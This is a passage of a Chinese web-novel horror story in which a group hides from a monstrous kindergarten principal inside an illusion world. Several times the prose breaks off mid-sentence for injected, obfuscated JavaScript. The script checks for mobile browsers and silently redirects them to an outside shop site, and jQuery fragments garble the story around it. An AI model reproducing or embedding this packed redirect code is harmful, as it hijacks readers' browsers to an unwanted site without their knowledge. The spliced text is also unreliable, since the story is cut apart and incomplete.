“那么，如果被您抓到，可以反抗吗？” “可以的。” “将你制服也算我们赢吗？” “算。呵呵。我喜欢孩子们有冲劲儿一点。” 学生们七嘴八舌的，通过渐渐拼起来的信息，信心越发变多了，竟然隐隐有聚到一起向园长发动攻击的趋势。 “有什么不能躲藏的地方吗？” “这座幼儿园的任何地方都可以躲。” “游戏什么时候开始？” “现在。” 刹那间，所有学 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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两名男学生屁滚尿流地跑向滑梯出，二十米左右的路途跑得连爬带滚，总算来到滑梯旁边，陆续登上平台。 第一个男学生蹲下来，远远看了眼园长。 园长并没有离开，他挥了挥手，让男学生尽快完成惩罚。 男学生会意，他深呼吸一口气，最后看了眼滑道，透过短短的隧道，就能看到终点处的沙地，全程不会超过十秒钟。于是他咬咬牙，双脚放在滑道上，两只手在平台钢板上一推，滑了下去！ 然而，身后同样蹲着的男学生，却像看到了什么极其恐怖的东西一样，不可置信地惨叫了一声，整个人就向来时的阶梯冲去，试图逃离这个地方！ 结果，他刚刚扑出去，却像被什么力量拽住了一样，摔在平台上。 他双手试图抓住什么东西，可平台十分光滑，他尽力地抓挠，只发出指甲与钢板摩擦的刺耳声音。 他没有坚持两秒，就发出最后一声惨叫，坠向了滑道内。 良久，滑梯都没有滑出人来。 13. 远国幼儿园（四） 滑梯的滑道内，响起了咀嚼的声音。 如果有人离近倾听的话，能听见血肉摩擦，骨头折断，脏器破裂的声音。 但是姜渔三人身处走廊，听不见什么声音，透过窗户看去，只看到滑梯的滑道如开闸放水一般，流出了滚滚鲜血。那些浓稠鲜血带着汹涌的气势冲下来，染红一片沙地。 人类的血怎么可能有那么多？鬼知道滑道里到底有什么邪崇。姜渔转身不再看，轻声吐槽：“也不知道你小时候到底受的什么教育。” 陆伯原眉毛一挑，他并不知道姜渔是在跟谁对话，单刀直入地问：“你怎么知道许江竹在哪？” “她也参加了这场游戏，我看得出来。那姑娘的心思写在脸上。”姜渔轻笑，“如果她机灵一点，应该在我想的那个地方。” 说罢，姜渔脚步加快，三人很快来到之前做“乖乖吃饭”考试的教室前。 姜渔推开门，里面竟然同时有三个人转头看来，分别是许江竹，万事通，药罐子。看来姜渔等人的突然出现打乱了他们的什么计划。 “看来医护人员的急救水平不错。”姜渔轻描淡写地瞄了眼药罐子殷红的腹部，低声说。 “烂命一条。唉。”药罐子礼貌回应。 万事通双手一摊，无奈说：“现在好了，人更多了。我想咱们必须尽快决定谁能藏在这间屋子里。” 万事通与药罐子脑子都很灵光，他们都在默契地压低声音说话。与此同时，又并不因为惧怕园长闻声过来而吝啬开口。 这两个人都带着恃才傲物的松弛姿态。 这时，陆伯原眉头微皱：“藏在这？” “作为园长，他一定对幼儿园的每一处角落都了如指掌。”姜渔观察着另外三人看向自己的不同神色，淡淡开口，“但是，这间教室是一个变数，因为这里刚刚考完试，死了很多人。园长并不一定知道死的都是哪些人，所以伪装成尸体，藏在园长已经不熟悉的房间里，是一个不错的选择。” 姜渔在解释众人为什么来到这里的意图时，三人都并未否认。 “但是，伪装尸体的人多了，就会露馅。”陆伯原已经了然，“藏在这里的人越少，越容易瞒天过海。” 万事通点点头，说：“最好是少到一个人。” 姜渔忽然问：“你们聊到什么地步了？” “我们正在劝许江竹学姐不要开枪。”万事通轻声笑得很绅士，“开了枪，谁都不必藏在这里了，园长会咧个大嘴直接冲过来，你们看到他那副样子了。” 许江竹闻言将手枪攥得更紧了，仍是那副受惊小鹿的模样，但姜渔注意到，她的身形却没有一丝挪动。 她有武器，但不会轻易开枪。姜渔心想。许江竹很聪明，肯定知道开火会引来园长，那么她自己也无法再藏匿在这儿。但在此刻，武器是话语权的体现，如果鱼死网破，她至少可以自保。 姜渔正要说话，却被“啊”的一声绝望尖叫打断了。 走廊里传来一个女生的哭喊——“放开我！放开我！我不要去操场！我还没有藏好啊！” 屋内陷入沉默。 “很好。看来园长每抓到一个人，就会将其带到操场上去。”姜渔说，“我们还有时间来决定。” “我要躲在这里。”终于，许江竹开口了，她的声音有些颤抖，“我有枪，不让我躲在这里，我也会开枪！你们谁也别想藏在这里！” “学姐，我们最好商量一下。”万事通仍是一脸悠然，他缓缓抬起手，竟有金黄色的闪电萦绕在小臂之间！ 喂喂喂……姜渔略带不满地瞪了眼陆伯原，用眼神发出“你到底认识了些什么人啊”“夸张了吧”“你这个废物怎么不会一些异能啊发光啊之类的本事啊”诸如此类的质问。 “把手放下。”陆伯原没懂姜渔瞪自己的眼神，而是拿起旁边遗留的手术刀，指向万事通，威胁意味浓厚：“你可以试试是你快还是我快。” 当然是大闪电快啊大哥。 你刚刚连王老师都没能摆平不知道吗？ 明明也是探索级别的人了，还加入了夜莺机动队，怎么在幻境沼泽里一点都没有体现出来实力。 姜渔已经无奈了，她注意到旁边的药罐子也将手塞进了校服内，不知道有什么东西在校服下蠕动，显然也不是个好惹的家伙。 “够了。”姜渔看向有些不知所措的许江竹，说，“我们不是来找躲藏地方的。许江竹学姐，我希望你可以跟我们一起走。” “……为什么？”许江竹对姜渔的邀请有些困惑。 “更深的原因，你要问问这位同学。”姜渔指了指陆伯原，又说，“我的原因很简单，我们没必要在这里拼个你死我活，跟我们走，去找更适合的地方。” “而且。”姜渔拎起旁边男孩的衣领，“刚刚你也看到了，园长抓到一个人之后就会将他带到操场上去。如果真到了绝境，我们可以把这个小崽子丢出去给院长，然后趁着院长将他带走时，再另寻好的躲藏地点。” “你这个条件说得我都心动了，我能跟你走吗？”万事通看了看在姜渔手下愤怒挣扎的男孩，诚恳地向姜渔请示。 “不能。” “那我呢？”药罐子举手。 “你一副要死的样子，我们只会把你先丢出去。”姜渔轻飘飘说。 “……好吧。”许江竹收起了枪，往姜渔的方向迈了一步。。 姜渔眸间闪过一丝意外，竟然这么快就答应了。 “你俩自便吧。” 姜渔留下一句话，率先走了出去，向刚刚观察到的楼梯走去。 这时，整栋楼都充满了杂乱的跑步声，外面尖叫声不断。看来仍有人认为在外面的操场躲藏是个好主意，结果却被抓住了。 “游戏已经进行一段时间了，怎么人却越来越多了……”许江竹有些害怕地缩了缩肩膀。 姜渔向身后看了一眼，陆伯原很关心许江竹，一直紧紧陪在她身边，正沉声说：“别怕。” 陆伯原眼中的许江竹，会不会就像是自己当初陷入幻境沼泽中的看到的纪小麦？ 姜渔再次想到自己总结的“精神锚点”的定义。 或许，每一个人，都有一个埋藏在内心最深处的东西，人们依靠它活在这个世界上。这种东西在幻境中也依然存在。毕竟姜渔在那些光怪陆离的幻境沼泽中，见到过纪小麦被异化成了各种样子，却从没经历过没有纪小麦的幻境沼泽。 换言之，幻境沼泽可以精准揪住主体的精神锚点，并将主体的精神锚点异化。当主体的精神锚点并肆意操控后，主体再看什么都不觉得奇怪了，可以任由幻境沼泽戏弄。这就像命脉一样，人被掐住了命脉，他的生命便任由他人操控。人被控制住精神锚点，他的精神世界便任由他人操控。 如今，纪小麦的声音成了自己的“精神锚点”，当听到纪小麦的声音时，自己就可以在他人的幻境沼泽中行动自由。而在此之前，自己可以通过找到“精神锚点”被异化的地方，回忆起真正的“精神锚点”是什么样子的，从而走出幻境沼泽。 就像最后一次经历幻境沼泽，自己找到了“幻体姜渔”与“幻体纪小麦”之间被异化的友谊——那个姜渔竟然不知道海猫神的含义，进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14162325|150214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而发现“幻体纪小麦”小臂上并没有伤疤的异状，最终通过回忆起纪小麦本来该是什么样子的，走出了幻境沼泽。 当人陷入幻境沼泽中，“精神锚点”被异化，从而彻底掌控幻境主体的精神。 那么，如果可以重构正确的“精神锚点”，就可以唤醒幻境主体？ 思绪至此，姜渔再次回头看了一眼许江竹—— 如果许江竹就是陆伯原的精神锚点，那她现在就是被幻境异化过后的样子。 那么真正的许江竹呢？是什么样？姜渔突然有些后悔自己为什么不在车上的时候多八卦几句陆伯原的事。 现在只能期待这个幻境沼泽露出更多的逻辑bug，以及努力撬开陆伯原这个闷葫芦的嘴。 姜渔正想提问，却听到一阵由远及近的脚步声。 她们此时已经来到了二楼，眼看着身前跑过去一个男生，他惊恐地指着后面的一个女生说：“她……她明明被抓到了！她被抓走了的！” “你说什么啊！明明是你暴露我的！”女生在后面大喊！ “她确实被抓到了，我刚刚在走廊时注意到她死在了跷跷板上……”许江竹颤着声音在后面补充。 陆伯原点点头，在女生向他们这边走来时，没有给女生开口说话的机会，就拿出手术刀轻描淡写地挥了出去，只见女生吃惊地站在原地，喉间渗出一股黑血后，无力地倒在了地上。 真的不对劲。姜渔看着蔓延在地上的黑色血液皱了皱眉。 “多谢……”求救的男生有些瘦弱，他扶着走廊的墙壁，气喘吁吁地说：“那个园长有古怪，他虽然没有眼睛，但好像就是知道我们在哪里一样……” 陆伯原微微点头，问：“你怎么发现的？” “我不清楚，就是……”男生的眼中渗出浓浓的绝望。 只是他的话刚刚说到一半，就被走到身前的姜渔攥住了衣领，拎了起来。 姜渔打量了对方两眼，手臂用力一挥，直接将男生扔出了这条连廊。 啪嗒。 姜渔倚着连廊的栏杆，探头向外看去，男生摔在地上，正好砸在刚刚抓完人回来的园长身边。 男生的脑子开始渗出黑血。园长那个被黑洞般的大嘴占满的脑袋，默默抬起头，因为没有眼睛，姜渔等人根本不知道它的注意力在哪儿，但姜渔却敏锐地发现，园长调转了方向，走向了教学楼的楼梯处。 它并没有搭理男生的尸体。 众人一惊。 “看来他也是被抓之后，变成了抓人的‘鬼’。”姜渔回头很平静地说道，“说的话不能相信，更何况他也没说什么有效信息，如果园长眼睛没了就找不到人了，那这游戏有什么难度？他自然有办法找到人在哪。亏你还顺着他问话。” 陆伯原默然，事实摆在眼前，他并没有反驳的意思。 反而是男孩带着不信任的目光终于开口：“那如果他是人类呢！” 他主要是感觉姜渔拎着那个男生时，和拎着自己时的手法实在太像了。 他觉得刚才看到了自己不久后的下场…… “那不是更好吗？园长就可以抓走他，为我们拖延一下时间。”姜渔淡淡地瞥了男孩一眼。 在某种意义上，她与园长一样。 这些不相关的、无法提供重要信息的、且本人可能正在现实生活过得好好的幻体，死得越快越好。 她有正事要干。 但她的举动落在男孩、陆伯原与许江竹三人眼里，显然多了些说不清道不明的意味—— 这个女生，怎么比园长还要危险的样子？ 14. 远国幼儿园（五） 哒，哒，哒。 沉重的脚步声在楼梯内响起，地面随之震动，一下一下让人心脏猛地缩紧。姜渔声音压得极低：“走！” 姜渔率头开始在走廊内狂奔，等连续跑过了好几间教室后，姜渔在走廊尽头处找到了一间卫生间，她迅速打开门钻了进去，当剩余三人都进来后，将门轻轻关上。 卫生间内，没有一丝异味。白色的瓷砖被拖得锃亮，天花板上挂着一顶白色吸顶灯，上面印着一群儿童围着花草跳舞的图案。这里除了几个隔间之外，再无藏身之地。 “这里是死路啊。”许江竹声音有些颤抖，脸上写满绝望。 陆伯原没有说话，从游戏开始到现在，他知道姜渔的一举一动都是有所深意的，而且刚才的“学生鬼”的教训还历历在目，他有种自己做什么事情，在姜渔面前都像在自作聪明的微妙挫败感，索性保持自己一贯沉默的风格。 姜渔先走到窗户旁边，窗户能看到楼下的操场，一片血腥，窗外用钢筋焊死，姜渔看了一眼隔间。 隔间与大部分卫生间一样，门的下面是空着的，光线好的时候人的影子会从门缝中淌出来。 如果期望靠躲入隔间不被发现的话……姜渔立即拉下了窗户上的折叠窗帘，房间瞬间漆黑一片。 厕所内一共7个隔间，并列成一排。如果她是园长，会用什么顺序开门呢？姜渔略一思索，选择了倒数第二个隔间。她拉着男孩躲了进去，向剩下二人说：“都进来。” 隔间内顿时变得十分拥挤，呼吸之间，陆伯原闻了闻空气中的味道，觉得有些奇怪。他很快反应过来，自己闻到的是一种洗发水的味道，像清新的柠檬，这味道来自侧身让他们都进来后，独自挡在最前面的姜渔。她扎起来的马尾散着这种香气。 陆伯原看着姜渔的背影，心中一时百感交集：这种被女人保护的感觉……竟然让自己莫名熟悉的和心安？ 很快，卫生间内响起了一阵细微隐约的哭声。 声音来自卫生间墙壁的另一侧，这堵墙的隔音并不好，加上墙对面的人应该紧紧贴着墙，可能正躲在档案柜里。 陆伯原此时才恍然大悟：姜渔在赌这一层不可能没有藏人！ 如果园长依次按班级寻找藏匿者的话，那么一定会抓到一两个人，当园长抓到人后，他们就可以趁着院长将“猎物”带到操场上的时间，再次寻找藏匿地点！ 所以，当园长走上楼梯的那一刻，若返回楼梯企图逃向上一层时，很有可能与园长撞个正着。而走廊尽头的卫生间，便是这一层最安全的地点！ 她到底是怎么在瞬间就做出这种最正确的决定的？陆伯原心里暗自惊讶着。 墙的另一边，哭声还在继续，一个男生的声音隐隐地响起：“别哭，我们会活下去的。” 另一个女生低诉着：“可我们为什么要经历这一切？我们之前那么幸福……我受不了……” 男生的声音很稳：“很快，很快的……你不该承受这些……” 看来，对面藏着一对情侣。隔间内的众人都听见了两人的对话，悲伤的情绪蔓延在隔间内，唯独姜渔转头再次瞪了陆伯原一眼。 还不都是你陷入了幻境沼泽才让这些NPC幻体遭这样的罪。姜渔用眼神传达着微微怒意。 陆伯原抿抿嘴，他完全搞不懂姜渔这种莫名的敌意，但心里竟然真的冒出些心虚的感觉。奇怪，他对姜渔并不熟悉，但总是让陆伯原想到一个人，对自己很重要的人。 这个人会是谁呢？为什么他死活想不起来。 忽然，墙的另一边陷入了寂静。姜渔立即伸手示意大家屏住呼吸，所有人开始静静聆听着，来自走廊的脚步声…… 脚步声很重，犹如一座小山砸在地面上，传来咚、咚的缓慢闷响，仿佛踩在人的心脏上，极为揪心，所有人大气都不敢喘，虽然残忍，但众人都期待着脚步声停在相邻的教室门前…… 然而，脚步声却越来越近了。 园长不知为何，竟然略过了那间教室！ 姜渔目光一凝，当她听到脚步声时就意识到了异样，因为前面她跑过了那么多教室，按理来说就算那些教室没有人躲藏，园长也不该这么快就来到走廊的尽头！ 除非，只有一个可能……那就是园长是奔着他们来的！ 可为什么？凭什么？ 单凭她目前的实力，有可能是园长的对手吗？ 就如顾礼所说，她也只是认为自己身手较好，之前从幻境沼泽中逃脱，都是凭借自己的观察与对纪小麦的了解。但在眼下的幻境沼泽中，要面对的毕竟是园长这样可怖的怪物，存在在这里的幻体，甚至也有像万事通那样具备异能的人！ 这就是探索级强者的幻境沼泽么？ 姜渔咬紧牙关，紧张与压迫感溢满了她的胸膛，已经没有余力再追责陆伯原了。 而就在这时，卫生间外忽然传来了一声女童的呼救！ “救……救……我……” 在刚才的学生里，有年纪比较小的女生吗？ 或者，是娃娃音？ “救……救……我……” 女生的呼救，虚弱又绝望，姜渔仿佛都看见了一个乖乖女楚楚可怜的模样…… 姜渔内心终是生出了些许复杂。一方面，她庆幸于有个女生似乎暴露了位置，可能吸引园长的注意；一方面这呼救声太凄厉了，纵使是幻体，也让姜渔难以忍受，似乎此刻不冲出去救她，自己就不配为人。。 不一会，声音忽然停了。 几人之中，小男孩最纯真，焦急地快要哭出来，姜渔冲他摇摇头，示意他不要说话。 砰！ 一声巨响猛然击碎了姜渔的纠结！卫生间的门被暴力地推开了！ 门外的点点阳光洒了进来，原本黑暗的卫生间顿时有了光亮，小小的隔间里，小男孩紧紧抱着姜渔的大腿，而一旁许江竹也颤抖着缩在了陆伯原的怀里。他们除了祈祷，什么都做不了。 砰！砰！ 园长开始逐个推开隔间的门。姜渔努力听声辩位，它应该是从离出口最近的第一间开始的。就在刚刚选择隔间的时候，她猜到园长会第一扇门开始，因为据她观察园长的行为逻辑，它应该是有一定程度强迫症的，比如它一定要第一时间就把抓住的学生送去玩游戏；而从离出口最近的那扇门开始，只是因为这离操场近一些。毕竟拖着这么大的身子走路也着实辛苦。而姜渔之所以选择倒数第二扇门，也是给自己留了一些余地，这样如果园长突然抽风决定从内到外排查，她也有反击的机会。 隔间的门被一扇扇推开，撞在隔间的墙壁上，发出一声声巨响，姜渔忍不住了，透过门缝看去，险些骂了出来—— 园长此时的状态已经完全没有人的模样了。他高约两米，咧着一张鲨鱼般的黑色巨嘴，里面布满了一圈又一圈的利齿，嘴下的黑色绒毛遍布全身，撑破了此前的西服，那些绒毛并不是自然垂下的状态，而是像有意识的触须一样，向外挣扎着。 而让最姜渔掉san值的，，是她发现随着黑色巨嘴的一张一合，利齿之间发出了空灵绝望的声音—— “救……救……我……” 这个王八蛋，在利用同情心引诱他们出来！ 姜渔一只手赶紧捂住身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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听声音，大概率是那名女生也冲了过来，在姜渔看不到的地方，响起了几声板凳砸在园长身上的声音，随后传来一声骨头碎裂的声音，再无声息。 沉重的脚步声，渐渐远去。 良久，姜渔打开门，一眼看到了卫生间门口，女生被捏碎了头颅的尸体。 身后，是此起彼伏的喘息声。姜渔回头看去，三个人的额头都湿了，小男孩更是哭得满眼泪水。 “至少我们活下来了。”姜渔闭着眼睛平复心情。 三双眼睛齐刷刷地看向姜渔，都是不可置信，似乎不能理解这个女人为什么这么铁石心肠。 姜渔懒得跟幻体解释自己是什么人，她率先走出隔间，冷静总结刚刚获取的信息，“第一，园长带人回到操场时，最好不要对他进行偷袭，他会直接杀死并把尸体留在这里。第二，园长虽然没有了眼睛，但他生出的那些鬼，大概率就是他的眼睛。方才，鬼看到了我们的位置，于是园长才会直奔着我们过来。” 姜渔走出卫生间，看到刚刚陆伯原杀死的女生尸体，她趴在地上，却死不瞑目，仍在盯着这边。 姜渔回头说：“很好，现在我们又被发现了。一会过去时记得给那具尸体的眼睛来上几刀。” 听到姜渔的话，小男孩和许江竹都不由自主哆嗦了下。 “我们现在怎么办？”沉默中，陆伯原开口问。 无形中，所有人都将领导权交给了姜渔。 “我确实有一个想法。”姜渔笑了笑，企图缓和一下绝望的气氛，“但我刚刚想到，最好也给那具尸体的耳朵也处理掉，否则，存在泄密的风险。” 15. 远国幼儿园（六） 卫生间内仍然一片沉默。 “怎么，小崽子，你有意见？？”姜渔有些不满，揪起男孩的耳朵。 “没有，没有……”男孩现在看姜渔的眼神无比乖顺，显然是口是心非。 姜渔倒是不以为然，对一个小孩来说，在经历了方才的恐怖之后，还要时刻担惊受怕自己把他丢出去祭天，确实有些为难他了。 三人都没敢对姜渔的提议有异议，但显然也没人愿意付诸行动。姜渔耸耸肩，很无奈地向那具尸体走去，在完成一系列外科手术般的举动后，众人离开了卫生间。 姜渔领着三人来到楼梯拐角拾阶而上，边走边问：“我们要找一个空旷的地方，这个地方需要保证我们能看到所有学生，又最好不被所有学生看到。你们也看到了“学生鬼”在杀人前根本无法被分辨，我们干脆就不再相信任何人，这样就可以彻底隐蔽我们的行踪。空旷则是因为，到了万不得已的情况时，，我们还有路可逃。” 不得不说，刚刚卫生间那副景象，她是不想再经历一次了。 “可如果是更隐蔽的地方，不是更不容易被发现吗？比如储藏室之类的地方。”许江竹应该对姜渔有了基础的信任，用柔弱的语气表示疑问。 姜渔目前对这个小女生还是不讨厌的，不想让她因为未知而徒增恐慌，于是耐心跟她解释情况：“这样下去，‘学生鬼’只会越来越多，幼儿园内没什么安全的地方。如果在逼仄的地方被看到，首先，我们逃跑的选择会变得很少。其次，一旦园长就在附近，那我们可以说是必死无疑。除非……” 男孩在身后耷拉着脑袋问：“除非把我丢出去？” “这是对你在人家葬礼上吃薯片的不礼貌行为的惩罚。”姜渔一句不让，站停向身后的许江竹问：“你知道哪个地方符合我说的吗？”她在第一场考试中担任“监考员”，应当是四人中对幼儿园最熟悉的人。 许江竹短暂思索一番后，便抬头说道：“天台。” “那就去天台。”姜渔一甩马尾，果断继续向上爬楼梯。 远国幼儿园明显是很高档的幼儿园，教学楼足足有六层，完全是一间小学的规模。姜渔登上顶层后，找到了通往天台的门，门并没有上锁，她转动把手就开了门，当人都通过后，关门反锁。 天台比姜渔想象中要大，光秃秃的水泥地，视野极为开阔，这里没有任何学生，只看到远处绵延不绝的高楼，上面的玻璃幕墙反射着片片阳光。 姜渔站在天台上，更能感受到远国幼儿园地理位置的卓越之处，她极目远眺，城市四周的天际线尽收眼底。这里赫然是整座城市的最高处。 这代表在陆伯原心中，这家幼儿园，站在一座城市的最高点吗？ 姜渔呼出长长的一口气，看向陆伯原，心想着终于有时间做正事了，便走过去搭话：“你到底为什么要粘着这位姑娘？” 姜渔指了指坐在地上擦拭着黄铜左轮的许江竹。 问题触及到陆伯原灵魂深处，陆伯原再度变得深沉起来，他说：“我要带她走。” “去哪？” “我不知道。”陆伯原眼底浮上一丝痛苦，痛苦化为黯然，转眼又化作迷离，他说：“我只记得那是个很美好的地方。” 姜渔对陆伯原如今的配合程度感到满意，继续问：“为什么是她？” “因为她是我姐姐。”陆伯原静静地看着许江竹。 什么？ 不是吧？ 姜渔狐疑地看着陆伯原，“确定不是恋人？前女友？” 不怪姜渔这么想，这俩人之间没流露出一丝跟亲情有关的感觉，只有陆伯原貌似深情款款地粘着许江竹而已。而且一个姓许一个姓陆，难道是一个跟妈姓一个跟爹姓？或者同父异母或者同母异父？他们姐弟俩又是为什么会有这样变态的经历啊，还是说干脆就是不同父不同母的孤儿院姐弟？姜渔已经在心里脑补了一万字孤儿院虐待儿童的社会新闻。 “不是。”陆伯原斩钉截铁。 “行。”姜渔点点头，走到许江竹身边，“你是他姐姐吗？” “不是啊。”许江竹讶异地看向陆伯原。 姜渔扭头：“她说不是你姐姐。” “我听到了。”陆伯原别过头。 姜渔品出陆伯原在平静的语气夹杂了一点点不爽，但她选择不管不顾，继续追问：“你作何感想？” “等我带她走，走到那个地方，她会想起来的。”陆伯原语气坚定。 嗯，看来这就是任务了。 或许，带许江竹去到陆伯原口中的那个地方，是陆伯原的一种“自救”方法。 如果许江竹是此时被异化了的“精神锚点”，那么被异化的点，就是许江竹所处的“位置”？想重构正确的“精神锚点”，就是将许江竹带到陆伯原认为的，一个正确的地方？ 这样看来倒是合理的，毕竟这个地方已经足够不正常了，没人应该生活在这种地方。 那，正确的地方在哪里？ 看来关隘还是在陆伯原身上。 姜渔心里有底，正要提问时，楼下传来了一声窗户碎掉的声音，声音很近，几乎就在众人正下方。 男孩离天台边缘最近，低声说了句：“是那个手上会发光的哥哥。” 万事通？ 姜渔对他还是很有印象的，那是一个在陆伯原心中蛮有本事的人，他出事了？姜渔也到天台边缘趴下，向下看去，楼下是教学楼的后院，不远处便是幼儿园的栅栏。万事通正倒在教学楼与栅栏中间的草坪上，他浑身是血，小臂处仍然闪烁着细微的电芒。 万事通望着天空，双眼放空。 生死关头，他怎么还陷入沉思了？ 姜渔不禁疑惑起来，只见两米多高的园长也从窗户跨了出来，站在万事通面前。 “不可能的……”万事通手臂撑起自己的身体，半坐在地上，他盯着园长，眼神中迸发着凌厉的细小闪电光芒，“这个世界上不可能存在你这种怪物。” 园长没有说话，只是歪了歪头，开始向万事通走去。 “你不可能比我更快。不可能。你不应该存在这个世界上。”万事通忽然笑了，姜渔从他的表情上再次感受到了在“乖乖吃饭”环节时，他那种悠然自得自认为掌控一切的情绪。 这个人的狂妄已经到了极点，时至如今还不肯认清自己的实力，在这种幻境废墟里已经全然无用了，完全无法接受现实。 姜渔有点觉得这个人在现实中恐怕也与此时一模一样，锋芒毕露，以至于陆伯原能如此具体、如此深刻地还原出他在幻境废墟中的样子。 正当姜渔琢磨时，万事通的话引得她不得不侧目—— “如果你不该存在，我却存在，只有一个可能。”随着园长越走越近，万事通的笑容仍然没有消减，反而更盛，“我对你没有任何印象，所以可以肯定你与我的任何执念都没有关系。何况，我想，我落到这种境况里，要面对的东西，肯定也不是你这种弱得要死的东西。” “我活得很好。”万事通举起了手，电芒聚集缠绕，竟刺向自己的头颅，“我不在这里，对么？我只是在某个倒霉蛋的幻境废墟里。” 那一束旋绕炸裂的金黄色电芒并没有让万事通如愿杀死自己，而是随风消散。只是园长也没有抓走他，当万事通说出这些话之后，他的肉身开始逐渐分解成灰色的粉末，随风飘散了。 万事通看了下自己正在消散的手臂，嘲弄地看向沉默的园长，留下最后一句话：“你们这些见过我的蝼蚁，真是让人烦恼。如果现实里的我知道是谁让我陷入这么难堪的幻境里的话，我一定，一定，一定会杀了他。” 伴随着万事通的话语，众人立即感受到整栋楼都传来了剧烈的震动！一时间灰雾满天，哀嚎声响起又远去。天台上，几个人身形不稳也滚作一团，在一阵兵荒马乱后，震动渐渐平息，姜渔终于稳住身子起身，她眺望出去，教学楼的另一边赫然已经荡然无存！ 非但如此，当她走到天台边缘时，心跳几乎漏了几拍：眼前，非但是教学楼的一半荡然无存，就连土地也不再有，从天台边缘望下去，是片片的薄云，与薄云下如蚂蚁大小的村庄—— 这是一座天空之城！ 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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许江竹虽然胆子不大，但脑袋还是转得快的。至少比幻境主体强，姜渔拍了一下额头以示懊恼，随后怒视陆伯原一眼，废物！最后才向许江竹投去认可的目光，放轻了语气：“你说得很对。” “不仅如此。”见收到了姜渔的肯定，许江竹眼中光芒更盛，摆手让大家去她身边，“你们看，下面操场上的图案，是一只眼睛，‘乖乖吃饭’的教室里，有熊的画，熊也有眼睛。我们藏着的卫生间，天花板上的灯也有很多小孩，小孩也有眼睛，而且——” 许江竹指向天台上随风飘扬的旗帜图案：“旗帜上面的图案也是一只眼睛！或许园长并不是只靠着生下的‘学生鬼’来找人，而是这一切眼睛都在帮他找人！” “亲姐啊。”姜渔看到那面旗帜正对着自己这边几个人的眼睛图案，人都傻了，“聪明是挺聪明的，但你早点说啊？” 这不是早被发现了么？ 姜渔再次向下看去，园长正抓着药罐子向操场走去，连忙招呼众人说：“能下去吗！” 见陆伯原与许江竹点头后，姜渔立即搂住男孩，翻身下跃，踩在六楼的空调外机上，几番下跳之后，稳稳踩在了柔软的草坪上，啧，“少吃点薯片吧，早知道你这么胖就应该早点把你喂给园长。”姜渔忍不住吐槽，小男孩默默缩了缩脖子。 陆伯原与许江竹也相继落地。姜渔再次抬头看了一眼天台，这么高的位置，他们能毫发无损地跳下来，应该跟陆伯原的潜意识有关吧。他太想保护许江竹了。 “走！” 不再耽搁时间，姜渔低声下令，几个人手忙脚乱地翻过栅栏，一路向下穿越绿荫公园，开始向城市中狂奔！ 短短几分钟后，几个人就来到了车水马龙的街道上，身处在繁华的高楼大厦之间。 然而，还没等众人把气喘匀时，姜渔偶然抬头之际，头发发麻的感觉瞬间如电流般传遍了全身，第一次切身感受到了毛骨悚然的恐怖—— 只见身边的所有高楼大厦，上面的每一扇玻璃，每一扇窗户，都变成了一只只硕大的眼睛，冷冷地盯着街区中央的几个人！ 16. 远国幼儿园（七） 姜渔定睛看去，毛骨悚然的感觉更加浓烈了。 这条街与现实无异，许多路人男女老少在道路上走着，甚至有行驶的车流。 可他们仿佛看不见这漫天的眼睛，脸上都是幸福的微笑，在此刻显得尤其违和。它们与陆伯原这些幻体不一样，姜渔很敏锐地察觉到了，但是哪里不一样呢？ 众人越走越绝望，因为不仅那些高楼的玻璃幕墙，就连街道上飞驰车辆的车灯，十字路口的红绿灯，街道上的井盖……每一处角落，都出现了眼睛！ 这些眼睛除了大小不一之外，形状全部一样。它们上下延伸出粗细不一的黑色睫毛，包裹着中间一只杏仁眼，眼白如雪花般纯净，没有一丝血丝，虹膜又如煤炭般漆黑，同样没有一丝杂质。在最纯净的黑白中心，是一个如万花筒般的瞳孔，瞳孔中正在闪烁着一幕幕模糊不清的画面。 非但如此，那些眼睛正在一眨一眨的，瞳孔始终盯着姜渔等人的位置，十分灵动。 这种情况，与之前所有的眼睛图案已然完全不同。姜渔心里渐渐沉了下去：这些眼睛已经彻底活了过来！ 该怎么办？怎么逃？ 就算可以刺瞎眼睛，但凭她们几个人又能刺得完吗？几乎这一整座天空之城都成了园长的眼睛！还有这些奇怪的路人，不知道会不会也是园长的傀儡和耳目。 姜渔艰难地吞了口口水，她还没有想到应对的办法，就感到脚下又传来震感明显的晃动。她立即伸手要扶住身边的广告牌，掌间却传来温润柔软的手感，姜渔升起一股不妙之感，侧头看去：自己的手正按在一只眼睛上！ 这只眼睛似乎并未感到疼痛，它也不眨眼，就只是默默地注视着姜渔。 姜渔赶紧抽回手，在晃动中勉强靠着自己的平衡力稳住身形，这时，身后又响起了轰隆隆的巨响！ 